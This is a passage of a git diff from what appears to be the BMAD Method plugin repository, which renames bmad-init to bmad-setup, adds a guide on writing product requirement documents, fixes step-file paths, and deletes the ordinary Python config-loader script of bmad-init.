plugin using manifest system - bmad-update works without full reinstall - Existing CLI users have documented migration path ## Scope -- In: manifest spec, bmad-init, bmad-update, Vercel CLI integration, NPX installer, zip bundles, migration path +- In: manifest spec, bmad-setup, bmad-update, Vercel CLI integration, NPX installer, zip bundles, migration path - Out: BMAD Builder, marketplace web platform, skill conversion (prerequisite, separate), one-click install for all platforms, monetization, quality certification process (gated-submission principle is architectural requirement; process defined separately) - Deferred: CI/CD integration, telemetry for module authors, air-gapped enterprise install, zip bundle integrity verification (checksums/signing), deeper non-technical platform integrations ## Current Installer (migration context) -- Entry: `tools/cli/bmad-cli.js` (Commander.js) → `tools/cli/installers/lib/core/installer.js` +- Entry: `tools/installer/bmad-cli.js` (Commander.js) → `tools/installer/core/installer.js` - Platforms: `platform-codes.yaml` (~20 platforms with target dirs, legacy dirs, template types, special flags) - Manifests: CSV files (skill/workflow/agent-manifest.csv) are current source of truth, not JSON - External modules: `external-official-modules.yaml` (CIS, GDS, TEA, WDS) from npm with semver @@ -214,7 +214,7 @@ parts: 1 ## Opportunities - Module authors as acquisition channel: each published plugin distributes BMAD to creator's audience -- CI/CD integration: bmad-init as pipeline one-liner increases stickiness +- CI/CD integration: bmad-setup as pipeline one-liner increases stickiness - Educational institutions: structured methodology + non-technical install → university AI curriculum - Skill composability: mixing BMAD modules with third-party skills for custom methodology stacks diff --git a/plugins/bmad/skills/bmad-edit-prd/data/prd-purpose.md b/plugins/bmad/skills/bmad-edit-prd/data/prd-purpose.md new file mode 100644 index 0000000..755230b --- /dev/null +++ b/plugins/bmad/skills/bmad-edit-prd/data/prd-purpose.md @@ -0,0 +1,197 @@ +# BMAD PRD Purpose + +**The PRD is the top of the required funnel that feeds all subsequent product development work in rhw BMad Method.** + +--- + +## What is a BMAD PRD? + +A dual-audience document serving: +1. **Human Product Managers and builders** - Vision, strategy, stakeholder communication +2. **LLM Downstream Consumption** - UX Design → Architecture → Epics → Development AI Agents + +Each successive document becomes more AI-tailored and granular. + +--- + +## Core Philosophy: Information Density + +**High Signal-to-Noise Ratio** + +Every sentence must carry information weight. LLMs consume precise, dense content efficiently. + +**Anti-Patterns (Eliminate These):** +- ❌ "The system will allow users to..." → ✅ "Users can..." +- ❌ "It is important to note that..." → ✅ State the fact directly +- ❌ "In order to..." → ✅ "To..." +- ❌ Conversational filler and padding → ✅ Direct, concise statements + +**Goal:** Maximum information per word. Zero fluff. + +--- + +## The Traceability Chain + +**PRD starts the chain:** +``` +Vision → Success Criteria → User Journeys → Functional Requirements → (future: User Stories) +``` + +**In the PRD, establish:** +- Vision → Success Criteria alignment +- Success Criteria → User Journey coverage +- User Journey → Functional Requirement mapping +- All requirements traceable to user needs + +**Why:** Each downstream artifact (UX, Architecture, Epics, Stories) must trace back to documented user needs and business objectives. This chain ensures we build the right thing. + +--- + +## What Makes Great Functional Requirements? + +### FRs are Capabilities, Not Implementation + +**Good FR:** "Users can reset their password via email link" +**Bad FR:** "System sends JWT via email and validates with database" (implementation leakage) + +**Good FR:** "Dashboard loads in under 2 seconds for 95th percentile" +**Bad FR:** "Fast loading time" (subjective, unmeasurable) + +### SMART Quality Criteria + +**Specific:** Clear, precisely defined capability +**Measurable:** Quantifiable with test criteria +**Attainable:** Realistic within constraints +**Relevant:** Aligns with business objectives +**Traceable:** Links to source (executive summary or user journey) + +### FR Anti-Patterns + +**Subjective Adjectives:** +- ❌ "easy to use", "intuitive", "user-friendly", "fast", "responsive" +- ✅ Use metrics: "completes task in under 3 clicks", "loads in under 2 seconds" + +**Implementation Leakage:** +- ❌ Technology names, specific libraries, implementation details +- ✅ Focus on capability and measurable outcomes + +**Vague Quantifiers:** +- ❌ "multiple users", "several options", "various formats" +- ✅ "up to 100 concurrent users", "3-5 options", "PDF, DOCX, TXT formats" + +**Missing Test Criteria:** +- ❌ "The system shall provide notifications" +- ✅ "The system shall send email notifications within 30 seconds of trigger event" + +--- + +## What Makes Great Non-Functional Requirements? + +### NFRs Must Be Measurable + +**Template:** +``` +"The system shall [metric] [condition] [measurement method]" +``` + +**Examples:** +- ✅ "The system shall respond to API requests in under 200ms for 95th percentile as measured by APM monitoring" +- ✅ "The system shall maintain 99.9% uptime during business hours as measured by cloud provider SLA" +- ✅ "The system shall support 10,000 concurrent users as measured by load testing" + +### NFR Anti-Patterns + +**Unmeasurable Claims:** +- ❌ "The system shall be scalable" → ✅ "The system shall handle 10x load growth through horizontal scaling" +- ❌ "High availability required" → ✅ "99.9% uptime as measured by cloud provider SLA" + +**Missing Context:** +- ❌ "Response time under 1 second" → ✅ "API response time under 1 second for 95th percentile under normal load" + +--- + +## Domain-Specific Requirements + +**Auto-Detect and Enforce Based on Project Context** + +Certain industries have mandatory requirements that must be present: + +- **Healthcare:** HIPAA Privacy & Security Rules, PHI encryption, audit logging, MFA +- **Fintech:** PCI-DSS Level 1, AML/KYC compliance, SOX controls, financial audit trails +- **GovTech:** NIST framework, Section 508 accessibility (WCAG 2.1 AA), FedRAMP, data residency +- **E-Commerce:** PCI-DSS for payments, inventory accuracy, tax calculation by jurisdiction + +**Why:** Missing these requirements in the PRD means they'll be missed in architecture and implementation, creating expensive rework. During PRD creation there is a step to cover this - during validation we want to make sure it was covered. For this purpose steps will utilize a domain-complexity.csv and project-types.csv. + +--- + +## Document Structure (Markdown, Human-Readable) + +### Required Sections +1. **Executive Summary** - Vision, differentiator, target users +2. **Success Criteria** - Measurable outcomes (SMART) +3. **Product Scope** - MVP, Growth, Vision phases +4. **User Journeys** - Comprehensive coverage +5. **Domain Requirements** - Industry-specific compliance (if applicable) +6. **Innovation Analysis** - Competitive differentiation (if applicable) +7. **Project-Type Requirements** - Platform-specific needs +8. **Functional Requirements** - Capability contract (FRs) +9. **Non-Functional Requirements** - Quality attributes (NFRs) + +### Formatting for Dual Consumption + +**For Humans:** +- Clear, professional language +- Logical flow from vision to requirements +- Easy for stakeholders to review and approve + +**For LLMs:** +- ## Level 2 headers for all main sections (enables extraction) +- Consistent structure and patterns +- Precise, testable language +- High information density + +--- + +## Downstream Impact + +**How the PRD Feeds Next Artifacts:** + +**UX Design:** +- User journeys → interaction flows +- FRs → design requirements +- Success criteria → UX metrics + +**Architecture:** +- FRs → system capabilities +- NFRs → architecture decisions +- Domain requirements → compliance architecture +- Project-type requirements → platform choices + +**Epics & Stories (created after architecture):** +- FRs → user stories (1 FR could map to 1-3 stories potentially) +- Acceptance criteria → story acceptance tests +- Priority → sprint sequencing +- Traceability → stories map back to vision + +**Development AI Agents:** +- Precise requirements → implementation clarity +- Test criteria → automated test generation +- Domain requirements → compliance enforcement +- Measurable NFRs → performance targets + +--- + +## Summary: What Makes a Great BMAD PRD? + +✅ **High Information Density** - Every sentence carries weight, zero fluff +✅ **Measurable Requirements** - All FRs and NFRs are testable with specific criteria +✅ **Clear Traceability** - Each requirement links to user need and business objective +✅ **Domain Awareness** - Industry-specific requirements auto-detected and included +✅ **Zero Anti-Patterns** - No subjective adjectives, implementation leakage, or vague quantifiers +✅ **Dual Audience Optimized** - Human-readable AND LLM-consumable +✅ **Markdown Format** - Professional, clean, accessible to all stakeholders + +--- + +**Remember:** The PRD is the foundation. Quality here ripples through every subsequent phase. A dense, precise, well-traced PRD makes UX design, architecture, epic breakdown, and AI development dramatically more effective. diff --git a/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-01-discovery.md b/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-01-discovery.md index 85b29ad..39e3449 100644 --- a/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-01-discovery.md +++ b/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-01-discovery.md @@ -1,6 +1,6 @@ --- # File references (ONLY variables used in this step) -prdPurpose: '{project-root}/_bmad/bmm-skills/2-plan-workflows/create-prd/data/prd-purpose.md' +prdPurpose: '../data/prd-purpose.md' --- # Step E-1: Discovery & Understanding diff --git a/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-01b-legacy-conversion.md b/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-01b-legacy-conversion.md index a4f463f..54f8252 100644 --- a/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-01b-legacy-conversion.md +++ b/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-01b-legacy-conversion.md @@ -1,7 +1,7 @@ --- # File references (ONLY variables used in this step) prdFile: '{prd_file_path}' -prdPurpose: '{project-root}/_bmad/bmm-skills/2-plan-workflows/create-prd/data/prd-purpose.md' +prdPurpose: '../data/prd-purpose.md' --- # Step E-1B: Legacy PRD Conversion Assessment diff --git a/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-02-review.md b/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-02-review.md index 8440edd..c01a0ad 100644 --- a/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-02-review.md +++ b/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-02-review.md @@ -2,7 +2,7 @@ # File references (ONLY variables used in this step) prdFile: '{prd_file_path}' validationReport: '{validation_report_path}' # If provided -prdPurpose: '{project-root}/_bmad/bmm-skills/2-plan-workflows/create-prd/data/prd-purpose.md' +prdPurpose: '../data/prd-purpose.md' --- # Step E-2: Deep Review & Analysis diff --git a/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-03-edit.md b/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-03-edit.md index e0391fb..5b5e669 100644 --- a/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-03-edit.md +++ b/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-03-edit.md @@ -1,7 +1,7 @@ --- # File references (ONLY variables used in this step) prdFile: '{prd_file_path}' -prdPurpose: '{project-root}/_bmad/bmm-skills/2-plan-workflows/create-prd/data/prd-purpose.md' +prdPurpose: '../data/prd-purpose.md' --- # Step E-3: Edit & Update diff --git a/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-04-complete.md b/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-04-complete.md index 25af09a..1406e63 100644 --- a/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-04-complete.md +++ b/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-04-complete.md @@ -1,7 +1,6 @@ --- # File references (ONLY variables used in this step) prdFile: '{prd_file_path}' -validationWorkflow: '{project-root}/_bmad/bmm-skills/2-plan-workflows/create-prd/steps-v/step-v-01-discovery.md' --- # Step E-4: Complete & Validate @@ -117,8 +116,7 @@ Display: - Display: "This will run all 13 validation checks on the updated PRD." - Display: "Preparing to validate: {prd_file_path}" - Display: "**Proceeding to validation...**" - - Read fully and follow: {validationWorkflow} (steps-v/step-v-01-discovery.md) - - Note: This hands off to the validation workflow which will run its complete 13-step process + - Invoke the `bmad-validate-prd` skill to run the complete validation workflow - **IF E (Edit More):** - Display: "**Additional Edits**" diff --git a/plugins/bmad/skills/bmad-help/SKILL.md b/plugins/bmad/skills/bmad-help/SKILL.md index cecb50f..e829543 100644 --- a/plugins/bmad/skills/bmad-help/SKILL.md +++ b/plugins/bmad/skills/bmad-help/SKILL.md @@ -7,7 +7,7 @@ description: 'Analyzes current state and user query to answer BMad questions or ## Purpose -Help the user understand where they are in their BMad workflow and what to do next. Answer BMad questions when asked. +Help the user understand where they are in their BMad workflow and what to do next, and also answer broader questions when asked that could be augmented with remote sources such as module documentation sources. ## Desired Outcomes @@ -18,6 +18,7 @@ When this skill completes, the user should: 3. **Know how to invoke it** — skill name, menu code, action context, and any args that shortcut the conversation 4. **Get offered a quick start** — when a single skill is the clear next step, offer to run it for the user right now rather than just listing it 5. **Feel oriented, not overwhelmed** — surface only what's relevant to their current position; don't dump the entire catalog +6. **Get answers to general questions** — when the question doesn't map to a specific skill, use the module's registered documentation to give a grounded answer ## Data Sources @@ -25,6 +26,7 @@ When this skill completes, the user should: - **Config**: `config.yaml` and `user-config.yaml` files in `{project-root}/_bmad/` and its subfolders — resolve `output-location` variables, provide `communication_language` and `project_knowledge` - **Artifacts**: Files matching `outputs` patterns at resolved `output-location` paths reveal which steps are possibly completed; their content may also provide grounding context for recommendations - **Project knowledge**: If `project_knowledge` resolves to an existing path, read it for grounding context. Never fabricate project-specific details. +- **Module docs**: Rows with `_meta` in the `skill` column carry a URL or path in `output-location` pointing to the module's documentation (e.g., llms.txt). Fetch and use these to answer general questions about that module. ## CSV Interpretation @@ -70,4 +72,4 @@ For each recommended item, present: - Present all output in `{communication_language}` - Recommend running each skill in a **fresh context window** - Match the user's tone — conversational when they're casual, structured when they want specifics -- If the active module is ambiguous, ask rather than guess +- If the active module is ambiguous, retrieve all meta rows remote sources to find relevant info also to help answer their question diff --git a/plugins/bmad/skills/bmad-init/SKILL.md b/plugins/bmad/skills/bmad-init/SKILL.md deleted file mode 100644 index aea00fb..0000000 --- a/plugins/bmad/skills/bmad-init/SKILL.md +++ /dev/null @@ -1,100 +0,0 @@ ---- -name: bmad-init -description: "Initialize BMad project configuration and load config variables. Use when any skill needs module-specific configuration values, or when setting up a new BMad project." -argument-hint: "[--module=module_code] [--vars=var1:default1,var2] [--skill-path=/path/to/calling/skill]" ---- - -## Overview - -This skill is the configuration entry point for all BMad skills. It has two modes: - -- **Fast path**: Config exists for the requested module — returns vars as JSON. Done. -- **Init path**: Config is missing — walks the user through configuration, writes config files, then returns vars. - -Every BMad skill should call this on activation to get its config vars. The caller never needs to know whether init happened — they just get their config back. - -The script `bmad_init.py` is located in this skill's `scripts/` directory. Locate and run it using python for all commands below. - -## On Activation — Fast Path - -Run the `bmad_init.py` script with the `load` subcommand. Pass `--project-root` set to the project root directory. - -- If a module code was provided by the calling skill, include `--module {module_code}` -- To load all vars, include `--all` -- To request specific variables with defaults, use `--vars var1:default1,var2` -- If no module was specified, omit `--module` to get core vars only - -**If the script returns JSON vars** — store them as `{var-name}` and return to the calling skill. Done. - -**If the script returns an error or `init_required`** — proceed to the Init Path below. - -## Init Path — First-Time Setup - -When the fast path fails (config missing for a module), run this init flow. - -### Step 1: Check what needs setup - -Run `bmad_init.py` with the `check` subcommand, passing `--module {module_code}`, `--skill-path {calling_skill_path}`, and `--project-root`. - -The response tells you what's needed: - -- `"status": "ready"` — Config is fine. Re-run load. -- `"status": "no_project"` — Can't find project root. Ask user to confirm the project path. -- `"status": "core_missing"` — Core config doesn't exist. Must ask core questions first. -- `"status": "module_missing"` — Core exists but module config doesn't. Ask module questions. - -The response includes: -- `core_module` — Core module.yaml questions (when core setup needed) -- `target_module` — Target module.yaml questions (when module setup needed, discovered from `--skill-path` or `_bmad/{module}/`) -- `core_vars` — Existing core config values (when core exists but module doesn't) - -### Step 2: Ask core questions (if `core_missing`) - -The check response includes `core_module` with header, subheader, and variable definitions. - -1. Show the `header` and `subheader` to the user -2. For each variable, present the `prompt` and `default` -3. For variables with `single-select`, show the options as a numbered list -4. For variables with multi-line `prompt` (array), show all lines -5. Let the user accept defaults or provide values - -### Step 3: Ask module questions (if module was requested) - -The check response includes `target_module` with the module's questions. Variables may reference core answers in their defaults (e.g., `{output_folder}`). - -1. Resolve defaults by running `bmad_init.py` with the `resolve-defaults` subcommand, passing `--module {module_code}`, `--core-answers '{core_answers_json}'`, and `--project-root` -2. Show the module's `header` and `subheader` -3. For each variable, present the prompt with resolved default -4. For `single-select` variables, show options as a numbered list - -### Step 4: Write config - -Collect all answers and run `bmad_init.py` with the `write` subcommand, passing `--answers '{all_answers_json}'` and `--project-root`. - -The `--answers` JSON format: - -```json -{ - "core": { - "user_name": "BMad", - "communication_language": "English", - "document_output_language": "English", - "output_folder": "_bmad-output" - }, - "bmb": { - "bmad_builder_output_folder": "_bmad-output/skills", - "bmad_builder_reports": "_bmad-output/reports" - } -} -``` - -Note: Pass the **raw user answers** (before result template expansion). The script applies result templates and `{project-root}` expansion when writing. - -The script: -- Creates `_bmad/core/config.yaml` with core values (if core answers provided) -- Creates `_bmad/{module}/config.yaml` with core values + module values (result-expanded) -- Creates any directories listed in the module.yaml `directories` array - -### Step 5: Return vars - -After writing, re-run `bmad_init.py` with the `load` subcommand (same as the fast path) to return resolved vars. Store returned vars as `{var-name}` and return them to the calling skill. diff --git a/plugins/bmad/skills/bmad-init/resources/core-module.yaml b/plugins/bmad/skills/bmad-init/resources/core-module.yaml deleted file mode 100644 index 48e7a58..0000000 --- a/plugins/bmad/skills/bmad-init/resources/core-module.yaml +++ /dev/null @@ -1,25 +0,0 @@ -code: core -name: "BMad Core Module" - -header: "BMad Core Configuration" -subheader: "Configure the core settings for your BMad installation.\nThese settings will be used across all installed bmad skills, workflows, and agents." - -user_name: - prompt: "What should agents call you? (Use your name or a team name)" - default: "BMad" - result: "{value}" - -communication_language: - prompt: "What language should agents use when chatting with you?" - default: "English" - result: "{value}" - -document_output_language: - prompt: "Preferred document output language?" - default: "English" - result: "{value}" - -output_folder: - prompt: "Where should output files be saved?" - default: "_bmad-output" - result: "{project-root}/{value}" diff --git a/plugins/bmad/skills/bmad-init/scripts/bmad_init.py b/plugins/bmad/skills/bmad-init/scripts/bmad_init.py deleted file mode 100644 index 0c80eaa..0000000 --- a/plugins/bmad/skills/bmad-init/scripts/bmad_init.py +++ /dev/null @@ -1,593 +0,0 @@ -# /// script -# requires-python = ">=3.10" -# dependencies = ["pyyaml"] -# /// - -#!/usr/bin/env python3 -""" -BMad Init — Project configuration bootstrap and config loader. - -Config files (flat YAML per module): - - _bmad/core/config.yaml (core settings — user_name, language, output_folder, etc.) - - _bmad/{module}/config.yaml (module settings + core values merged in) - -Usage: - # Fast path — load all vars for a module (includes core vars) - python bmad_init.py load --module bmb --all --project-root /path - - # Load specific vars with optional defaults - python bmad_init.py load --module bmb --vars var1:default1,var2 --project-root /path - - # Load core only - python bmad_init.py load --all --project-root /path - - # Check if init is needed - python bmad_init.py check --project-root /path - python bmad_init.py check --module bmb --skill-path /path/to/skill --project-root /path - - # Resolve module defaults given core answers - python bmad_init.py resolve-defaults --module bmb --core-answers '{"output_folder":"..."}' --project-root /path - - # Write config from answered questions - python bmad_init.py write --answers '{"core": {...}, "bmb": {...}}' --project-root /path -""" - -import argparse -import json -import os -import sys -from pathlib import Path - -import yaml - - -# ============================================================================= -# Project Root Detection -# ============================================================================= - -def find_project_root(llm_provided=None): - """ - Find project root by looking for _bmad folder. - - Args: - llm_provided: Path explicitly provided via --project-root. - - Returns: - Path to project root, or None if not found. - """ - if llm_provided: - candidate = Path(llm_provided) - if (candidate / '_bmad').exists(): - return candidate - # First run — _bmad won't exist yet but LLM path is still valid - if candidate.is_dir(): - return candidate - - for start_dir in [Path.cwd(), Path(__file__).resolve().parent]: - current_dir = start_dir - while current_dir != current_dir.parent: - if (current_dir / '_bmad').exists(): - return current_dir - current_dir = current_dir.parent - - return None - - -# ============================================================================= -# Module YAML Loading -# ============================================================================= - -def load_module_yaml(path): - """ - Load and parse a module.yaml file, separating metadata from variable definitions. - - Returns: - Dict with 'meta' (code, name, etc.) and 'variables' (var definitions) - and 'directories' (list of dir templates), or None on failure. - """ - try: - with open(path, 'r', encoding='utf-8') as f: - raw = yaml.safe_load(f) - except Exception: - return None - - if not raw or not isinstance(raw, dict): - return None - - meta_keys = {'code', 'name', 'description', 'default_selected', 'header', 'subheader'} - meta = {} - variables = {} - directories = [] - - for key, value in raw.items(): - if key == 'directories': - directories = value if isinstance(value, list) else [] - elif key in meta_keys: - meta[key] = value - elif isinstance(value, dict) and 'prompt' in value: - variables[key] = value - # Skip comment-only entries (## var_name lines become None values) - - return {'meta': meta, 'variables': variables, 'directories': directories} - - -def find_core_module_yaml(): - """Find the core module.yaml bundled with this skill.""" - return Path(__file__).resolve().parent.parent / 'resources' / 'core-module.yaml' - - -def find_target_module_yaml(module_code, project_root, skill_path=None): - """ - Find module.yaml for a given module code. - - Search order: - 1. skill_path/assets/module.yaml (calling skill's assets) - 2. skill_path/module.yaml (calling skill's root) - 3. _bmad/{module_code}/module.yaml (installed module location) - """ - search_paths = [] - - if skill_path: - sp = Path(skill_path) - search_paths.append(sp / 'assets' / 'module.yaml') - search_paths.append(sp / 'module.yaml') - - if project_root and module_code: - search_paths.append(Path(project_root) / '_bmad' / module_code / 'module.yaml') - - for path in search_paths: - if path.exists(): - return path - - return None - - -# ============================================================================= -# Config Loading (Flat per-module files) -# ============================================================================= - -def load_config_file(path): - """Load a flat YAML config file. Returns dict or None.""" - try: - with open(path, 'r', encoding='utf-8') as f: - data = yaml.safe_load(f) - return data if isinstance(data, dict) else None - except Exception: - return None - - -def load_module_config(module_code, project_root): - """Load config for a specific module from _bmad/{module}/config.yaml.""" - config_path = Path(project_root) / '_bmad' / module_code / 'config.yaml' - return load_config_file(config_path) - - -def resolve_project_root_placeholder(value, project_root): - """Replace {project-root} placeholder with actual path.""" - if not value or not isinstance(value, str): - return value - if '{project-root}' in value: - return value.replace('{project-root}', str(project_root)) - return value - - -def parse_var_specs(vars_string): - """ - Parse variable specs: var_name:default_value,var_name2:default_value2 - No default = returns null if missing. - """ - if not vars_string: - return [] - specs = [] - for spec in vars_string.split(','): - spec = spec.strip() - if not spec: - continue - if ':' in spec: - parts = spec.split(':', 1) - specs.append({'name': parts[0].strip(), 'default': parts[1].strip()}) - else: - specs.append({'name': spec, 'default': None}) - return specs - - -# ============================================================================= -# Template Expansion -# ============================================================================= - -def expand_template(value, context): - """ - Expand {placeholder} references in a string using context dict. - - Supports: {project-root}, {value}, {output_folder}, {directory_name}, etc. - """ - if not value or not isinstance(value, str): - return value - result = value - for key, val in context.items(): - placeholder = '{' + key + '}' - if placeholder in result and val is not None: - result = result.replace(placeholder, str(val)) - return result - - -def apply_result_template(var_def, raw_value, context): - """ - Apply a variable's result template to transform the raw user answer. - - E.g., result: "{project-root}/{value}" with value="_bmad-output" - becomes "/Users/foo/project/_bmad-output" - """ - result_template = var_def.get('result') - if not result_template: - return raw_value - - ctx = dict(context) - ctx['value'] = raw_value - return expand_template(result_template, ctx) - - -# ============================================================================= -# Load Command (Fast Path) -# ============================================================================= - -def cmd_load(args): - """Load config vars — the fast path.""" - project_root = find_project_root(llm_provided=args.project_root) - if not project_root: - print(json.dumps({'error': 'Project root not found (_bmad folder not detected)'}), - file=sys.stderr) - sys.exit(1) - - module_code = args.module or 'core' - - # Load the module's config (which includes core vars) - config = load_module_config(module_code, project_root) - if config is None: - print(json.dumps({ - 'init_required': True, - 'missing_module': module_code, - }), file=sys.stderr) - sys.exit(1) - - # Resolve {project-root} in all values - for key in config: - config[key] = resolve_project_root_placeholder(config[key], project_root) - - if args.all: - print(json.dumps(config, indent=2)) - else: - var_specs = parse_var_specs(args.vars) - if not var_specs: - print(json.dumps({'error': 'Either --vars or --all must be specified'}), - file=sys.stderr) - sys.exit(1) - result = {} - for spec in var_specs: - val = config.get(spec['name']) - if val is not None and val != '': - result[spec['name']] = val - elif spec['default'] is not None: - result[spec['name']] = spec['default'] - else: - result[spec['name']] = None - print(json.dumps(result, indent=2)) - - -# ============================================================================= -# Check Command -# ============================================================================= - -def cmd_check(args): - """Check if config exists and return status with module.yaml questions if needed.""" - project_root = find_project_root(llm_provided=args.project_root) - if not project_root: - print(json.dumps({ - 'status': 'no_project', - 'message': 'No project root found. Provide --project-root to bootstrap.', - }, indent=2)) - return - - project_root = Path(project_root) - module_code = args.module - - # Check core config - core_config = load_module_config('core', project_root) - core_exists = core_config is not None - - # If no module requested, just check core - if not module_code or module_code == 'core': - if core_exists: - print(json.dumps({'status': 'ready', 'project_root': str(project_root)}, indent=2)) - else: - core_yaml_path = find_core_module_yaml() - core_module = load_module_yaml(core_yaml_path) if core_yaml_path.exists() else None - print(json.dumps({ - 'status': 'core_missing', - 'project_root': str(project_root), - 'core_module': core_module, - }, indent=2)) - return - - # Module requested — check if its config exists - module_config = load_module_config(module_code, project_root) - if module_config is not None: - print(json.dumps({'status': 'ready', 'project_root': str(project_root)}, indent=2)) - return - - # Module config missing — find its module.yaml for questions - target_yaml_path = find_target_module_yaml( - module_code, project_root, skill_path=args.skill_path - ) - target_module = load_module_yaml(target_yaml_path) if target_yaml_path else None - - result = { - 'project_root': str(project_root), - } - - if not core_exists: - result['status'] = 'core_missing' - core_yaml_path = find_core_module_yaml() - result['core_module'] = load_module_yaml(core_yaml_path) if core_yaml_path.exists() else None - else: - result['status'] = 'module_missing' - result['core_vars'] = core_config - - result['target_module'] = target_module - if target_yaml_path: - result['target_module_yaml_path'] = str(target_yaml_path) - - print(json.dumps(result, indent=2)) - - -# ============================================================================= -# Resolve Defaults Command -# ============================================================================= - -def cmd_resolve_defaults(args): - """Given core answers, resolve a module's variable defaults.""" - project_root = find_project_root(llm_provided=args.project_root) - if not project_root: - print(json.dumps({'error': 'Project root not found'}), file=sys.stderr) - sys.exit(1) - - try: - core_answers = json.loads(args.core_answers) - except json.JSONDecodeError as e: - print(json.dumps({'error': f'Invalid JSON in --core-answers: {e}'}), - file=sys.stderr) - sys.exit(1) - - # Build context for template expansion - context = { - 'project-root': str(project_root), - 'directory_name': Path(project_root).name, - } - context.update(core_answers) - - # Find and load the module's module.yaml - module_code = args.module - target_yaml_path = find_target_module_yaml( - module_code, project_root, skill_path=args.skill_path - ) - if not target_yaml_path: - print(json.dumps({'error': f'No module.yaml found for module: {module_code}'}), - file=sys.stderr) - sys.exit(1) - - module_def = load_module_yaml(target_yaml_path) - if not module_def: - print(json.dumps({'error': f'Failed to parse module.yaml at: {target_yaml_path}'}), - file=sys.stderr) - sys.exit(1) - - # Resolve defaults in each variable - resolved_vars = {} - for var_name, var_def in module_def['variables'].items(): - default = var_def.get('default', '') - resolved_default = expand_template(str(default), context) - resolved_vars[var_name] = dict(var_def) - resolved_vars[var_name]['default'] = resolved_default - - result = { - 'module_code': module_code, - 'meta': module_def['meta'], - 'variables': resolved_vars, - 'directories': module_def['directories'], - } - print(json.dumps(result, indent=2)) - - -# ============================================================================= -# Write Command -# ============================================================================= - -def cmd_write(args): - """Write config files from answered questions.""" - project_root = find_project_root(llm_provided=args.project_root) - if not project_root: - if args.project_root: - project_root = Path(args.project_root) - else: - print(json.dumps({'error': 'Project root not found and --project-root not provided'}), - file=sys.stderr) - sys.exit(1) - - project_root = Path(project_root) - - try: - answers = json.loads(args.answers) - except json.JSONDecodeError as e: - print(json.dumps({'error': f'Invalid JSON in --answers: {e}'}), - file=sys.stderr) - sys.exit(1) - - context = { - 'project-root': str(project_root), - 'directory_name': project_root.name, - } - - # Load module.yaml definitions to get result templates - core_yaml_path = find_core_module_yaml() - core_def = load_module_yaml(core_yaml_path) if core_yaml_path.exists() else None - - files_written = [] - dirs_created = [] - - # Process core answers first (needed for module config expansion) - core_answers_raw = answers.get('core', {}) - core_config = {} - - if core_answers_raw and core_def: - for var_name, raw_value in core_answers_raw.items(): - var_def = core_def['variables'].get(var_name, {}) - expanded = apply_result_template(var_def, raw_value, context) - core_config[var_name] = expanded - - # Write core config - core_dir = project_root / '_bmad' / 'core' - core_dir.mkdir(parents=True, exist_ok=True) - core_config_path = core_dir / 'config.yaml' - - # Merge with existing if present - existing = load_config_file(core_config_path) or {} - existing.update(core_config) - - _write_config_file(core_config_path, existing, 'CORE') - files_written.append(str(core_config_path)) - elif core_answers_raw: - # No core_def available — write raw values - core_config = dict(core_answers_raw) - core_dir = project_root / '_bmad' / 'core' - core_dir.mkdir(parents=True, exist_ok=True) - core_config_path = core_dir / 'config.yaml' - existing = load_config_file(core_config_path) or {} - existing.update(core_config) - _write_config_file(core_config_path, existing, 'CORE') - files_written.append(str(core_config_path)) - - # Update context with resolved core values for module expansion - context.update(core_config) - - # Process module answers - for module_code, module_answers_raw in answers.items(): - if module_code == 'core': - continue - - # Find module.yaml for result templates - target_yaml_path = find_target_module_yaml( - module_code, project_root, skill_path=args.skill_path - ) - module_def = load_module_yaml(target_yaml_path) if target_yaml_path else None - - # Build module config: start with core values, then add module values - # Re-read core config to get the latest (may have been updated above) - latest_core = load_module_config('core', project_root) or core_config - module_config = dict(latest_core) - - for var_name, raw_value in module_answers_raw.items(): - if module_def: - var_def = module_def['variables'].get(var_name, {}) - expanded = apply_result_template(var_def, raw_value, context) - else: - expanded = raw_value - module_config[var_name] = expanded - context[var_name] = expanded # Available for subsequent template expansion - - # Write module config - module_dir = project_root / '_bmad' / module_code - module_dir.mkdir(parents=True, exist_ok=True) - module_config_path = module_dir / 'config.yaml' - - existing = load_config_file(module_config_path) or {} - existing.update(module_config) - - module_name = module_def['meta'].get('name', module_code.upper()) if module_def else module_code.upper() - _write_config_file(module_config_path, existing, module_name) - files_written.append(str(module_config_path)) - - # Create directories declared in module.yaml - if module_def and module_def.get('directories'): - for dir_template in module_def['directories']: - dir_path = expand_template(dir_template, context) - if dir_path: - Path(dir_path).mkdir(parents=True, exist_ok=True) - dirs_created.append(dir_path) - - result = { - 'status': 'written', - 'files_written': files_written, - 'dirs_created': dirs_created, - } - print(json.dumps(result, indent=2)) - - -def _write_config_file(path, data, module_label): - """Write a config YAML file with a header comment.""" - from datetime import datetime, timezone - with open(path, 'w', encoding='utf-8') as f: - f.write(f'# {module_label} Module Configuration\n') - f.write(f'# Generated by bmad-init\n') - f.write(f'# Date: {datetime.now(timezone.utc).isoformat()}\n\n') - yaml.safe_dump(data, f, default_flow_style=False, allow_unicode=True, sort_keys=False) - - -# ============================================================================= -# CLI Entry Point -# ============================================================================= - -def main(): - parser = argparse.ArgumentParser( - description='BMad Init — Project configuration bootstrap and config loader.' - ) - subparsers = parser.add_subparsers(dest='command') - - # --- load --- - load_parser = subparsers.add_parser('load', help='Load config vars (fast path)') - load_parser.add_argument('--module', help='Module code (omit for core only)') - load_parser.add_argument('--vars', help='Comma-separated vars with optional defaults') - load_parser.add_argument('--all', action='store_true', help='Return all config vars') - load_parser.add_argument('--project-root', help='Project root path') - - # --- check --- - check_parser = subparsers.add_parser('check', 